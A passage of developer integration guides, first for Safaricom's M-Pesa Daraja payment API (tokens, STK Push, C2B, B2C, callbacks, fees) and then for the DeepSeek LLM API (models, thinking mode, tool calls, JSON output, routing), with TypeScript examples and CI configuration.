  A["Your server"] --> B["Get OAuth token (cached 1h)"]
  B --> C["STK Push request"]
  C --> D["Daraja API"]
  D --> E["Customer phone prompt"]
  E --> F["Callback to your HTTPS URL"]
  F --> G["Save payment, ACK fast"]
  G --> H["Reconcile stragglers via STK Query"]

Official Documentation

Resource URL
API catalogue (Daraja 3.0) https://developer.safaricom.co.ke/apis
Getting Started (callback IPs, certificates, security credential) https://developer.safaricom.co.ke/apis/GettingStarted
Authorization (OAuth) https://developer.safaricom.co.ke/apis/Authorization
M-Pesa Express (STK Push) / Query https://developer.safaricom.co.ke/apis/MpesaExpressSimulate · https://developer.safaricom.co.ke/apis/MpesaExpressQuery
C2B https://developer.safaricom.co.ke/apis/CustomerToBusiness
B2C https://developer.safaricom.co.ke/apis/BusinessToCustomer
Transaction Status · Reversal · Account Balance https://developer.safaricom.co.ke/apis/TransactionStatus · https://developer.safaricom.co.ke/apis/Reversal · https://developer.safaricom.co.ke/apis/AccountBalance
M-Pesa Ratiba (standing orders) https://developer.safaricom.co.ke/apis/MpesaRatiba
FAQs https://developer.safaricom.co.ke/faqs
Official M-PESA tariffs https://www.safaricom.co.ke/personal/m-pesa/mpesa-charges

There is no official Safaricom npm SDK, which is why packages: []. Call the REST API with fetch (see examples/). Community wrappers exist, but treat them as unvetted dependencies.


Authentication

Daraja uses the OAuth 2.0 client-credentials flow. You send GET /oauth/v1/generate?grant_type=client_credentials with Authorization: Basic base64(consumerKey:consumerSecret). The response is { "access_token": "...", "expires_in": 3599 }, so a token lasts about 1 hour.

Three things the docs say that change how you cache the token:

  1. Read expires_in instead of hard-coding 3600.
  2. Daraja's FAQ says "each request invalidates the previous token". Don't fetch a token per request. If you run many serverless instances, cache the token in a shared store (Vercel KV/Upstash, or a database row) so instances don't keep invalidating each other's tokens.
  3. An expired token is not always an HTTP 401. STK Push returns HTTP 404 with errorCode: "404.001.03", C2B returns 400.003.01, and Account Balance returns 401.002.01. Retry once with a fresh token whenever errorMessage says "Invalid Access Token".
// lib/mpesa-auth.ts (full version with retry: examples/mpesa-auth.ts)
let cache: { value: string; expiresAt: number } | null = null;

export async function getMpesaToken(forceRefresh = false): Promise<string> {
  if (!forceRefresh && cache && Date.now() < cache.expiresAt - 60_000) return cache.value;

  const credentials = Buffer.from(
    `${process.env.MPESA_CONSUMER_KEY}:${process.env.MPESA_CONSUMER_SECRET}`,
  ).toString("base64");
  const base =
    process.env.MPESA_ENV === "production" ? "https://api.safaricom.co.ke" : "https://sandbox.safaricom.co.ke";

  const res = await fetch(`${base}/oauth/v1/generate?grant_type=client_credentials`, {
    headers: { Authorization: `Basic ${credentials}` },
  });
  if (!res.ok) throw new Error(`Daraja auth failed: ${res.status} ${await res.text()}`);

  const data = (await res.json()) as { access_token?: string; expires_in?: string | number };
  if (!data.access_token) throw new Error("No access_token in Daraja response");
  cache = { value: data.access_token, expiresAt: Date.now() + Number(data.expires_in ?? 3599) * 1000 };
  return cache.value;
}

cURL token request

# Sandbox token (reads keys from your shell env; never paste real keys into scripts)
curl -s "https://sandbox.safaricom.co.ke/oauth/v1/generate?grant_type=client_credentials" \
  -u "$MPESA_CONSUMER_KEY:$MPESA_CONSUMER_SECRET" | jq .

Core API Integration

M-Pesa Express (STK Push)

STK Push sends a PIN prompt to the customer's phone. The flow is asynchronous: the HTTP response only means the request was accepted, and the real outcome arrives later at your CallBackURL.

Here's the full lifecycle:

sequenceDiagram
  participant App as "Your server"
  participant Auth as "Daraja OAuth"
  participant Daraja as "Daraja API"
  participant Phone as "Customer phone"
  App->>Auth: Request Bearer token
  Auth-->>App: access_token (expires_in 3599)
  App->>Daraja: POST stkpush processrequest
  Daraja-->>App: CheckoutRequestID (store it now)
  Daraja->>Phone: PIN prompt
  Phone-->>Daraja: PIN, cancel or no answer
  Daraja->>App: Callback with ResultCode
  App->>App: Dedupe, save, ACK 200
  App->>Daraja: STK Query for anything still pending

Request rules (from the official parameter table):

Field Rule
BusinessShortCode Paybill, or the HO/store number used at Go Live for tills
Password base64(BusinessShortCode + Passkey + Timestamp)
Timestamp YYYYMMDDHHmmss. Use the same value as in the Password; we generate it in EAT (UTC+3)
TransactionType CustomerPayBillOnline (Paybill) or CustomerBuyGoodsOnline (Till)
Amount Whole KES, min 1, max 250,000 per transaction
PartyA / PhoneNumber 2547XXXXXXXX / 2541XXXXXXXX (12 digits, no +)
PartyB Paybill number, or the till number for Buy Goods
CallBackURL Public HTTPS URL. Keep mpesa/safaricom out of it (see URL rules)
AccountReference Max 12 chars. The customer sees it on the prompt
TransactionDesc Max 13 chars (the only optional field)
// lib/payments/stk.ts (full version: examples/stk-push.ts)
import { darajaPost } from "./mpesa-auth";

const eatTimestamp = () =>
  new Date(Date.now() + 3 * 3600_000).toISOString().replace(/[^0-9]/g, "").slice(0, 14);

export async function stkPush(phone: string, amount: number, accountReference: string) {
  if (!/^254\d{9}$/.test(phone)) throw new Error("Phone must be 254XXXXXXXXX");
  if (!Number.isInteger(amount) || amount < 1 || amount > 250_000) throw new Error("Whole KES, 1–250,000");

  const shortcode = process.env.MPESA_SHORTCODE!;
  const timestamp = eatTimestamp();
  return darajaPost<{ CheckoutRequestID: string; MerchantRequestID: string; ResponseCode: string }>(
    "/mpesa/stkpush/v1/processrequest",
    {
      BusinessShortCode: shortcode,
      Password: Buffer.from(`${shortcode}${process.env.MPESA_PASSKEY}${timestamp}`).toString("base64"),
      Timestamp: timestamp,
      TransactionType: "CustomerPayBillOnline",
      Amount: amount,
      PartyA: phone,
      PartyB: shortcode,
      PhoneNumber: phone,
      CallBackURL: `${process.env.APP_URL}/api/payments/stk/callback`,
      AccountReference: accountReference.slice(0, 12),
      TransactionDesc: "Payment",
    },
  );
  // → { MerchantRequestID, CheckoutRequestID: "ws_CO_…", ResponseCode: "0", ResponseDescription, CustomerMessage }
  // Persist CheckoutRequestID + the phone you sent BEFORE returning to the client.
}

STK Push status query

Call POST /mpesa/stkpushquery/v1/query with BusinessShortCode, Password, Timestamp and CheckoutRequestID. The response carries both ResponseCode (whether the query was accepted) and ResultCode/ResultDesc (the payment's outcome: 0 paid, 1032 cancelled or timed out, and so on). See stkQuery() in examples/stk-push.ts.

STK callback handler

The callback body is { Body: { stkCallback: { MerchantRequestID, CheckoutRequestID, ResultCode, ResultDesc, CallbackMetadata? } } }. CallbackMetadata.Item appears only on success. It holds Amount (a decimal, e.g. 1.0), MpesaReceiptNumber, TransactionDate (as a number, YYYYMMDDHHmmss), PhoneNumber, and sometimes Balance.

// app/api/payments/stk/callback/route.ts (full version: examples/stk-callback.ts)
import { makeStkCallbackHandler } from "@/lib/payments/stk-callback";
import { paymentStore } from "@/lib/payments/store"; // your Supabase/Neon implementation

export const POST = makeStkCallbackHandler(paymentStore, {
  enforceIpAllowlist: process.env.MPESA_ENV === "production",
});
// Inside: IP allowlist → parse → ignore unknown CheckoutRequestIDs → idempotent
// finalize → always return 200 { ResultCode: 0, ResultDesc: "Accepted" }.
// Anything slow (SMS receipt, fulfilment, AI) goes on a queue, not in this handler.

Callback result codes (official M-Pesa Express errors table):

ResultCode Meaning What to do
0 Paid Mark paid, store MpesaReceiptNumber
1 Insufficient balance (or customer declined Fuliza) Ask them to top up
1032 Cancelled by the user, or the prompt timed out (1–3 min depending on phone) Offer a retry
1037 "DS timeout user cannot be reached": the prompt never got to the phone (offline, old SIM) or the reply came back late Tell the customer before re-pushing
2001 Wrong M-PESA PIN (initiator information invalid) Let them retry
1019 Transaction expired Re-initiate
1001 Subscriber locked: another USSD/STK session is in progress Wait 2–3 min, one push per user at a time
1025 / 9999 Error sending the push (system error, or the prompt text was over 182 chars) Retry; keep AccountReference short

C2B: register URLs, validation & confirmation

C2B covers payments the customer starts from the M-Pesa menu, app, USSD or a QR code, to your Paybill or Till. You register two URLs once per shortcode:

sequenceDiagram
  participant App as "Your server"
  participant Daraja as "Daraja API"
  participant Customer as "Customer"
  App->>Daraja: POST c2b v2 registerurl (one-time)
  Daraja-->>App: ResponseCode 0
  Customer->>Daraja: Pays Paybill or Till
  Daraja->>App: Validation (only if enabled)
  App-->>Daraja: ResultCode 0 or C2B000xx
  Daraja->>App: Confirmation (masked MSISDN)
  App->>App: Record on TransID and reconcile on BillRefNumber
// lib/payments/c2b.ts (full version incl. handlers: examples/c2b.ts)
export async function registerC2BUrls(appUrl: string, shortCode: string) {
  return darajaPost("/mpesa/c2b/v2/registerurl", {
    ShortCode: shortCode,
    ResponseType: "Completed", // exactly "Completed" | "Cancelled", sentence case
    ConfirmationURL: `${appUrl}/api/payments/c2b/confirm`,
    ValidationURL: `${appUrl}/api/payments/c2b/validate`,
  }); // → { OriginatorCoversationID, ResponseCode: "0", ResponseDescription: "Success" }
}

What changed and what to watch:

B2C (Business to Customer)

POST /mpesa/b2c/v3/paymentrequest. You need a B2C or "one account" shortcode, because an ordinary Paybill can't disburse. You also need an API operator with the ORG B2C API initiator role and a SecurityCredential (see below).

// Full version: examples/org-apis.ts → b2cPayment()
await darajaPost("/mpesa/b2c/v3/paymentrequest", {
  OriginatorConversationID: payoutId,      // YOUR unique id: Daraja rejects duplicates (500.002.1001)
  InitiatorName: process.env.MPESA_INITIATOR_NAME,
  SecurityCredential: securityCredential,  // RSA-encrypted initiator password
  CommandID: "BusinessPayment",            // | "SalaryPayment" | "PromotionPayment"
  Amount: 500,                             // whole KES, min 10, max 250,000
  PartyA: process.env.MPESA_SHORTCODE,
  PartyB: "254708374149",                  // 12-digit MSISDN, no "+"
  Remarks: "Refund order 1042",            // 2–100 chars
  QueueTimeOutURL: `${process.env.APP_URL}/api/payments/b2c/timeout`,
  ResultURL: `${process.env.APP_URL}/api/payments/b2c/result`,
  Occassion: "",                           // sic: Safaricom's spelling, optional
});

The Result POSTed to ResultURL has ResultCode plus ResultParameters: TransactionReceipt, TransactionAmount, ReceiverPartyPublicName, B2CUtilityAccountAvailableFunds, and so on. Common failures:

Code Meaning
1 Not enough money in the Utility account. B2C debits Utility, not Working/MMF
2 / 3 Below the minimum / above the maximum amount
4 / 8 Would exceed the customer's daily limit / maximum balance (KES 500,000 each)
21 API user lacks the B2C initiator role
2001 Bad initiator name, password, or encryption (wrong certificate or padding)
2040 Recipient isn't a registered M-Pesa customer
8006 Security credential locked after failed attempts. The Business Admin unlocks it
SFC_IC0003 Phone number doesn't exist on M-PESA

B2C payouts cannot be reversed via the API. Reversing one is a manual job on the org portal.

Transaction Status, Reversal, Account Balance

All three are asynchronous, initiator-based, and send results to your ResultURL.

API Endpoint Key fields
Transaction Status POST /mpesa/transactionstatus/v1/query CommandID: "TransactionStatusQuery", TransactionID (receipt) or OriginalConversationID, PartyA, IdentifierType: "4"
Reversal POST /mpesa/reversal/v1/request CommandID: "TransactionReversal", TransactionID, Amount, ReceiverParty, RecieverIdentifierType: "11" (sic). Works for C2B and STK payments, not B2C. Results R000001 already reversed, R000002 invalid id
Account Balance POST /mpesa/accountbalance/v1/query CommandID: "AccountBalance", PartyA, IdentifierType: "4". The result is a pipe-delimited string per account: alias|KES|current|available|reserved|uncleared, joined by &

Transaction Status is the official secondary reconciliation tool when a callback never arrives. It works for C2B, B2B, B2C, reversals and IMT.

Security credential (initiator APIs)

Per the Getting Started page, you RSA-encrypt the initiator password with PKCS #1 v1.5 padding (not OAEP) using the environment's M-Pesa public certificate, then base64 the result. You can do this in Node directly. Earlier versions of this guide said "generate it on the portal only"; the portal tool is just a convenience.

// examples/security-credential.ts
import { constants, publicEncrypt, X509Certificate } from "node:crypto";

export function buildSecurityCredential(initiatorPassword: string, certPem: string): string {
  const key = new X509Certificate(certPem).publicKey;
  return publicEncrypt({ key, padding: constants.RSA_PKCS1_PADDING }, Buffer.from(initiatorPassword))
    .toString("base64");
}
// Certs: https://developer.safaricom.co.ke/certificates/SandboxCertificate.cer
//        https://developer.safaricom.co.ke/certificates/ProductionCertificate.cer

The API user's password expires every 90 days on the org portal. When you rotate it, regenerate the credential, or calls start failing with 2001 and then 8006.

M-Pesa Ratiba (standing orders)

POST /standingorder/v1/createStandingOrderExternal (sandbox) lets a customer approve a recurring debit once with their PIN. Use it for subscriptions, SACCO contributions, loan repayments, and hire purchase.


Callback security & URL rules

These are Safaricom's official rules, and they apply to every callback, result and timeout URL:


Limits & fees (re-verify before launch)

Item Value Source
STK Push amount KES 1 – 250,000 per transaction M-Pesa Express FAQ
B2C amount KES 10 – 250,000 per transaction B2C FAQ
Customer wallet Max balance KES 500,000; max daily value KES 500,000 Daraja FAQs + safaricom.co.ke M-PESA charges (updated 4 Aug 2026)
Token TTL expires_in: 3599 s Authorization doc
Throughput Not published. Exceeding it returns 500.003.02 Spike Arrest Violation / 500.003.03 Quota Violation Error tables
Same-subscriber pushes One at a time; wait ≥ 1 min after "Unable to lock subscriber" STK error table
Buy Goods (Till) merchant fee Free up to KES 500; 0.55% for KES 501–36,363; KES 200 flat above that. Customers pay nothing safaricom.co.ke M-PESA charges
Paybill fee Depends on the tariff you pick (Mgao, Business Bouquet or Customer Bouquet). Total per transaction runs from KES 0 to KES 108 Safaricom Paybill Standard Tariff PDF (undated)
B2C fee (registered users) KES 0–13 per payout, paid by the business Safaricom B2C registered users PDF (undated)
Ratiba 5% capped at KES 5 per execution, excluding VAT Ratiba doc

Using Daraja itself costs nothing extra as far as published docs show: you pay M-PESA tariffs on the money moved. Confirm commercial terms with your Safaricom account manager.


Configuration

Secrets go in the vault, .env.local or Vercel env, and are server-only:

MPESA_CONSUMER_KEY=your_consumer_key          # Daraja app → Keys
MPESA_CONSUMER_SECRET=your_consumer_secret    # Daraja app → Keys
MPESA_PASSKEY=your_lnm_passkey                # STK only; emailed at Go Live (sandbox: simulator test data)
MPESA_INITIATOR_PASSWORD=your_api_operator_pw # initiator APIs only; rotate every 90 days

Non-secret settings can go in plain env or config:

Variable Example Notes
MPESA_ENV sandbox / production Picks the base host and certificate
MPESA_SHORTCODE 174379 (sandbox STK) Paybill, or the HO/store number for tills
MPESA_TILL_NUMBER (optional) PartyB for Buy Goods STK
MPESA_INITIATOR_NAME sandbox value from the simulator's test data API operator username (case-sensitive)
APP_URL https://pay.example.co.ke Public HTTPS base for callbacks. No mpesa/safaricom in it

Sandbox test data

Field Value
STK (Lipa na M-Pesa Online) shortcode 174379
Test MSISDN 254708374149
Passkey, InitiatorName, InitiatorPassword, other test shortcodes Log in → simulator / test credentials for your app

Sandbox STK test funds are auto-reversed at 06:00 the next day (Daraja FAQ). A single app can hold B2C or C2B, not both, so create separate apps.


Automation Workflows

Claude Code slash command: test STK Push

.claude/commands/mpesa-test.md:

Send a sandbox M-Pesa Express (STK Push) to the test MSISDN 254708374149 using
`lib/payments/stk.ts` via `npx tsx scripts/stk-smoke.ts`. Report the
CheckoutRequestID and ResponseCode, wait 60s, then call stkQuery() with that
CheckoutRequestID and report ResultCode/ResultDesc. Never print keys or the passkey.

Usage: /project:mpesa-test

GitHub Actions: sandbox integration tests

# .github/workflows/mpesa-tests.yml
name: M-Pesa Sandbox Tests
on: [pull_request]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: '22' }
      - run: npm ci
      - name: Run M-Pesa sandbox tests
        env:
          MPESA_CONSUMER_KEY: ${{ secrets.MPESA_SANDBOX_CONSUMER_KEY }}
          MPESA_CONSUMER_SECRET: ${{ secrets.MPESA_SANDBOX_CONSUMER_SECRET }}
          MPESA_PASSKEY: ${{ secrets.MPESA_SANDBOX_PASSKEY }}
          MPESA_SHORTCODE: "174379"
          MPESA_ENV: sandbox
          APP_URL: ${{ vars.PREVIEW_CALLBACK_BASE }}   # a reachable HTTPS preview, not a public bin
        run: npm run test:mpesa

Common Use Cases

Use case Approach
Checkout / one-off payment STK Push, then the callback, then STK Query for stragglers
Customer pays from the M-Pesa menu (Paybill/Till) C2B v2 register + confirmation (and validation if enabled)
Recurring / subscription billing M-Pesa Ratiba (commercial; customer approves once). For a one-off monthly charge, use an STK Push per cycle
Refund a customer payment Reversal API (C2B/STK receipts), or a B2C payout if the reversal window has passed
Payout / disbursement B2C (BusinessPayment) from a B2C/one-account shortcode
"Did this payment happen?" STK Query (STK) or Transaction Status (any receipt)
Missed C2B notifications Pull Transactions API / org portal
Float monitoring before payouts Account Balance (check the Utility account)

Troubleshooting

Issue Fix
404.001.03 / 400.003.01 / 401.002.01 "Invalid Access Token" Token expired, or replaced by a newer token request. Refresh once and retry, and share the token cache across instances
400.002.02 Bad Request – Invalid BusinessShortCode Missing Content-Type: application/json, a misspelled field, or the wrong shortcode
500.001.1001 Wrong credentials (STK) Password isn't base64(shortcode+passkey+timestamp), or the shortcode/timestamp in the body doesn't match the ones you encoded
500.001.1001 Merchant does not exist Use the shortcode you went live with as BusinessShortCode
500.001.1001 Unable to lock subscriber A push is already open for that phone. Wait ≥ 1 min
500.003.02 Spike Arrest / 500.003.03 Quota Violation You're over the TPS/quota limit, or your endpoints are erroring a lot. Throttle and fix the failing callbacks
"Invalid API call as no apiproduct match found" Enable the right product on the app (e.g. "M-PESA Express Sandbox", "Lipa na M-PESA" in production)
No callbacks arriving Must be public HTTPS, have no mpesa/safaricom in the URL, and not be blocked by a firewall, Vercel Deployment Protection, or your IP allowlist
C2B "Urls are already registered" Delete them in Dashboard → URL Management, then register again
B2C 2001 initiator invalid Wrong operator username, password, certificate, or padding (must be PKCS#1 v1.5)
B2C 1 insufficient balance despite funds Money is in Working/MMF. Move it to Utility (org portal, or B2B BusinessTransferFromMMFToUtility)
STK prompt shows the org number, not the name Expected when the customer pays through Fuliza
Phone shows masked (2547 ***** 126) Expected with C2B v2 since the March 2026 masking change. Reconcile on BillRefNumber + TransID

codeAmani notes

Official docs:

DeepSeek Integration Guide

Technology: deepseek · Category: ai · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/deepseek

Insight:

DeepSeek is the budget, open-weights tier. One model ID, deepseek-flash (now DeepSeek-V4.1-Flash-1017, with text and image input), covers almost everything. deepseek-v4-pro stays available for the hardest calls. Both have a 1M-token context, 384K max output, and thinking turned on by default: send reasoning_effort: "none" for cheap bulk calls. The API speaks OpenAI Chat Completions, OpenAI Responses and Anthropic Messages, so wiring it in only means changing the baseURL. Data is processed in the PRC, so codeAmani routes only non-sensitive US traffic here. Sensitive data goes to Claude, or to the MIT-licensed weights self-hosted in the US.

██████╗ ███████╗███████╗██████╗ ███████╗███████╗███████╗██╗  ██╗
██╔══██╗██╔════╝██╔════╝██╔══██╗██╔════╝██╔════╝██╔════╝██║ ██╔╝
██║  ██║█████╗  █████╗  ██████╔╝███████╗█████╗  █████╗  █████╔╝
██║  ██║██╔══╝  ██╔══╝  ██╔═══╝ ╚════██║██╔══╝  ██╔══╝  ██╔═██╗
██████╔╝███████╗███████╗██║     ███████║███████╗███████╗██║  ██╗
╚═════╝ ╚══════╝╚══════╝╚═╝     ╚══════╝╚══════╝╚══════╝╚═╝  ╚═╝

DeepSeek Integration Guide

Focus: cost-effective inference and chain-of-thought reasoning with deepseek-flash (V4.1) and deepseek-v4-pro, through the openai SDK, the Vercel AI SDK 7 (@ai-sdk/deepseek), or the Anthropic-compatible endpoint. Also covers the data-residency rules codeAmani applies for US customers.

Overview

As of 2026-10-20 the hosted API serves two model IDs:

Both models have a 1M-token context and a 384K max output. Both support thinking mode, which is ON by default (effort high). They also support tool calls, JSON output, chat-prefix completion (beta) and FIM completion (beta, non-thinking only). Three wire formats reach the same models:

Surface Base URL Use with
OpenAI Chat Completions https://api.deepseek.com openai SDK, @ai-sdk/deepseek, most tools
OpenAI Responses API https://api.deepseek.com (/responses) openai SDK responses.create, Codex
Anthropic Messages https://api.deepseek.com/anthropic @anthropic-ai/sdk, Claude Code
Beta features (FIM, prefix, strict tools) https://api.deepseek.com/beta openai SDK
flowchart LR
  A["Your server code"] --> B{"SDK"}
  B -->|"openai"| C["api.deepseek.com"]
  B -->|"@ai-sdk/deepseek"| C
  B -->|"@anthropic-ai/sdk"| D["api.deepseek.com/anthropic"]
  C --> E{"model"}
  D --> E
  E -->|"deepseek-flash"| F["V4.1-Flash-1017<br/>text + image"]
  E -->|"deepseek-v4-pro"| G["V4-Pro-0813<br/>text only"]
  F --> H{"reasoning_effort"}
  G --> H
  H -->|"none"| I["content only"]
  H -->|"low · high · max"| J["reasoning_content<br/>then content"]

Model history (why old IDs still work)

Date Change
2026-04-24 V4 Preview: deepseek-v4-pro / deepseek-v4-flash launch with 1M context and the thinking toggle.
2026-07-24 deepseek-chat (V3.x) and deepseek-reasoner (R1 line) retired. They no longer work.
2026-08-13 V4-Pro GA (-0813). Effort levels low/high/max added, plus native Responses API and peak/off-peak pricing.
2026-08-21 deepseek-v4-flash-vision-exp launched, along with the Files API.
2026-09-10 V4.1-Flash launched as deepseek-flash. V4-Flash and Vision-Exp retired; their IDs now alias to V4.1-Flash at Flash prices. Prices cut.
2026-10-17 deepseek-flash upgraded to V4.1-Flash-1017 with no price change. Search & Fetch APIs opened to everyone.

Migration: replace deepseek-v4-flash and deepseek-v4-flash-vision-exp with deepseek-flash. The legacy names still resolve, but DeepSeek calls them temporary. Code that still uses deepseek-chat / deepseek-reasoner is already broken.

Official Documentation

Resource URL
API docs (quick start) https://api-docs.deepseek.com/
Models & pricing https://api-docs.deepseek.com/quick_start/pricing
Change log https://api-docs.deepseek.com/updates
Chat Completions reference https://api-docs.deepseek.com/api/create-chat-completion
Thinking mode https://api-docs.deepseek.com/guides/thinking_mode
Tool calls (incl. strict mode) https://api-docs.deepseek.com/guides/tool_calls
JSON output https://api-docs.deepseek.com/guides/json_mode
FIM completion (beta) https://api-docs.deepseek.com/guides/fim_completion
Anthropic API compatibility https://api-docs.deepseek.com/guides/anthropic_api
Responses API https://api-docs.deepseek.com/guides/responses_api
Vision / Files API https://api-docs.deepseek.com/guides/vision
Rate limit & isolation https://api-docs.deepseek.com/quick_start/rate_limit
AI SDK provider https://ai-sdk.dev/providers/ai-sdk-providers/deepseek
Open weights https://huggingface.co/deepseek-ai

SDK Setup

Versions verified on 2026-10-20 with npm view and type-checked under tsc --strict:

Package Version Role
openai 7.39.0 Chat Completions / Responses / FIM client
ai 7.0.146 Vercel AI SDK 7 core
@ai-sdk/deepseek 3.0.69 AI SDK 7 provider (peer zod ^3.25.76 || ^4.1.8)
@anthropic-ai/sdk 0.135.0 Anthropic-format client (also the Claude fallback)
zod 4.6.7 Tool / output schemas
npm install openai@7.39.0
# or, for the AI SDK path:
npm install ai@7.0.146 @ai-sdk/deepseek@3.0.69 zod@4.6.7
// lib/deepseek.ts — server-only
import OpenAI from "openai";

const apiKey = process.env.DEEPSEEK_API_KEY;
if (!apiKey) throw new Error("DEEPSEEK_API_KEY is not set");

export const deepseek = new OpenAI({
  apiKey,
  baseURL: "https://api.deepseek.com",
  timeout: 120_000, // the server holds queued requests up to 10 min; fail over sooner
});

Models & limits

deepseek-flash deepseek-v4-pro
Serves DeepSeek-V4.1-Flash-1017 DeepSeek-V4-Pro-0813
Context 1M tokens 1M tokens
Max output 384K (393,216) 384K
Default max_tokens 8K non-thinking · 64K thinking · 128K at max same
Thinking on by default; none/low/high/max on by default; none/low/high/max
Image input yes (JPEG/PNG/GIF/WebP) no
JSON output · tool calls · Responses · Anthropic API yes yes
FIM (beta) non-thinking only non-thinking only
Concurrency limit (per account) 2,500 500

GET /models returns live metadata (context window, max output, modalities, supported effort levels). Read it at startup instead of hard-coding these numbers.


Core Patterns

Standard chat (thinking off, for cheap bulk work)

Thinking is on by default, so turn it off explicitly for summaries, classification and extraction. reasoning_effort is typed in the openai SDK, so this needs no @ts-expect-error:

const res = await deepseek.chat.completions.create({
  model: "deepseek-flash",
  reasoning_effort: "none", // thinking OFF — cheaper, faster, temperature works
  messages: [
    { role: "system", content: "You are a helpful assistant for codeAmani Labs." },
    { role: "user", content: "Summarize this support ticket in one sentence: ..." },
  ],
  max_tokens: 1024,
});

const text = res.choices[0]?.message.content ?? "";

Thinking mode (reasoning)

Control OpenAI format Anthropic format Responses format
On/off reasoning_effort: "none" (off) or thinking: { type: "enabled" | "disabled" } thinking (budget_tokens ignored) reasoning: { effort: "none" }
Effort reasoning_effort: "low" | "high" | "max" output_config: { effort } reasoning: { effort }

The server maps compatibility values: minimal becomes low, medium and xhigh become high, and ultra becomes max.

import type OpenAI from "openai";

type DeepSeekMessage = OpenAI.Chat.ChatCompletionMessage & {
  reasoning_content?: string | null; // DeepSeek-only field
};

const res = await deepseek.chat.completions.create({
  model: "deepseek-v4-pro",
  reasoning_effort: "high",
  messages: [{ role: "user", content: "Why is my Supabase RLS policy blocking authenticated users?" }],
  max_tokens: 16_384, // caps reasoning + answer together
});

const msg = res.choices[0]?.message as DeepSeekMessage | undefined;
console.log("CoT:", msg?.reasoning_content);
console.log("Answer:", msg?.content);
console.log("Reasoning tokens:", res.usage?.completion_tokens_details?.reasoning_tokens);

Rules (from the thinking-mode guide):

Tool calling

The tool format is standard OpenAI tools / tool_calls. The easiest way to stay correct in thinking mode is to append the returned message object to history unchanged:

const res = await deepseek.chat.completions.create({
  model: "deepseek-flash",
  messages,
  tools,
  tool_choice: "auto",
  reasoning_effort: "high",
});
const message = res.choices[0]!.message;
// Keeps reasoning_content, which is required on later requests that carry `tools`
messages.push(message as OpenAI.Chat.ChatCompletionAssistantMessageParam);
for (const call of message.tool_calls ?? []) {
  if (call.type !== "function") continue;
  messages.push({ role: "tool", tool_call_id: call.id, content: await runTool(call) });
}

The full loop is in examples/tool-loop.ts. Strict mode (beta) uses base URL https://api.deepseek.com/beta, and every function must set strict: true. Each object must list all its properties as required and set additionalProperties: false. Supported types are object, string (pattern, format: email/hostname/ipv4/ipv6/uuid), number/integer (min/max/multipleOf), array (no min/maxItems), enum, anyOf, $ref/$def. Inserting tool calls the model never made into the middle of a conversation works only on the Anthropic and Responses surfaces, not on Chat Completions.

JSON output

const res = await deepseek.chat.completions.create({
  model: "deepseek-flash",
  reasoning_effort: "none",
  response_format: { type: "json_object" }, // only text | json_object — no json_schema
  messages: [
    { role: "system", content: 'Return JSON like {"name": string|null, "amountUsd": number|null}.' },
    { role: "user", content: "Extract from: 'Dana paid $42.50 for order ORD-123'" },
  ],
  max_tokens: 1024,
});
const raw = res.choices[0]?.message.content ?? "";
if (!raw.trim()) throw new Error("empty JSON response — retry"); // documented edge case
const data = JSON.parse(raw) as { name: string | null; amountUsd: number | null };

The prompt must contain the word "json" and should include an example shape. Without them the model can stream whitespace until it hits max_tokens. DeepSeek has no json_schema response format. For schema-validated output, use strict tool calls or the AI SDK's Output.object with zod validation.

FIM (fill-in-the-middle, beta)

const beta = new OpenAI({ apiKey, baseURL: "https://api.deepseek.com/beta" });
const res = await beta.completions.create({
  model: "deepseek-flash",
  prompt: "function fib(n: number): number {\n",
  suffix: "\n}\n",
  max_tokens: 256, // FIM max is 4K
});
console.log(res.choices[0]?.text);

FIM runs in non-thinking mode only, on the legacy /completions endpoint.

Streaming

const stream = await deepseek.chat.completions.create({
  model: "deepseek-flash",
  reasoning_effort: "none",
  stream: true,
  messages: [{ role: "user", content: prompt }],
});
for await (const chunk of stream) {
  process.stdout.write(chunk.choices[0]?.delta?.content ?? "");
}

In thinking mode, delta.reasoning_content chunks arrive before delta.content chunks (see examples/reasoner.ts). While a request waits in the queue, the server sends blank lines (non-streaming) or : keep-alive SSE comments (streaming). The SDK skips them, but a hand-rolled parser must skip them too. If inference has not started after 10 minutes, the server closes the connection.

Vercel AI SDK 7 (@ai-sdk/deepseek)

The provider reads DEEPSEEK_API_KEY by default. It exports deepSeek (canonical) and deepseek (alias). It also sends reasoning_content back between tool steps automatically, which DeepSeek requires.

import { deepSeek, type DeepSeekLanguageModelChatOptions } from "@ai-sdk/deepseek";
import { generateText, isStepCount, tool } from "ai";
import { z } from "zod";

const { text } = await generateText({
  model: deepSeek("deepseek-flash"),
  instructions: "You are an order-support assistant.",
  tools: {
    getOrderStatus: tool({
      description: "Look up an order's status by id.",
      inputSchema: z.object({ orderId: z.string() }),
      execute: async ({ orderId }) => ({ orderId, status: "shipped" as const }),
    }),
  },
  stopWhen: isStepCount(5),
  prompt: "Where is order ORD-123?",
  providerOptions: {
    deepseek: {
      thinking: { type: "enabled" },
      reasoningEffort: "high", // 'low' | 'high' | 'max'
      userId: "tenant_42-user_7", // opaque, no PII
    } satisfies DeepSeekLanguageModelChatOptions,
  },
});

Anthropic-compatible endpoint

import Anthropic from "@anthropic-ai/sdk";

const ds = new Anthropic({
  apiKey: process.env.DEEPSEEK_API_KEY, // a DeepSeek key, not an Anthropic key
  baseURL: "https://api.deepseek.com/anthropic",
});

const msg = await ds.messages.create({
  model: "deepseek-flash",
  max_tokens: 1024,
  system: "You are a helpful assistant.",
  messages: [{ role: "user", content: "Hi, how are you?" }],
});

Model-name mapping: claude-opus* maps to deepseek-v4-pro (billed at Pro rates), and every other claude* name maps to deepseek-flash. Other unknown names return 400. Ignored fields: anthropic-version, cache_control, top_k, mcp_servers, container, service_tier, and thinking.budget_tokens. output_config supports only effort. Document blocks, redacted_thinking, and MCP/code-execution result blocks are not supported. This endpoint is how Claude Code, Claude Desktop developer mode and similar tools run on DeepSeek. Do not point codeAmani's own Claude Code sessions at it (see codeAmani notes).

Responses API, Vision, Files, Search & Fetch


AI Routing: when to use DeepSeek

DeepSeek is a cost-optimisation tier under Anthropic Claude (primary). It is not the default for everything:

flowchart TD
  A["Incoming task"] --> B{"Contains PII, PHI,<br/>payment or customer secrets?"}
  B -->|"yes"| C["Anthropic Claude<br/>(or self-hosted DeepSeek weights in US)"]
  B -->|"no"| D{"Complex agent work<br/>or highest quality?"}
  D -->|"yes"| E["Anthropic<br/>claude-sonnet-5-5"]
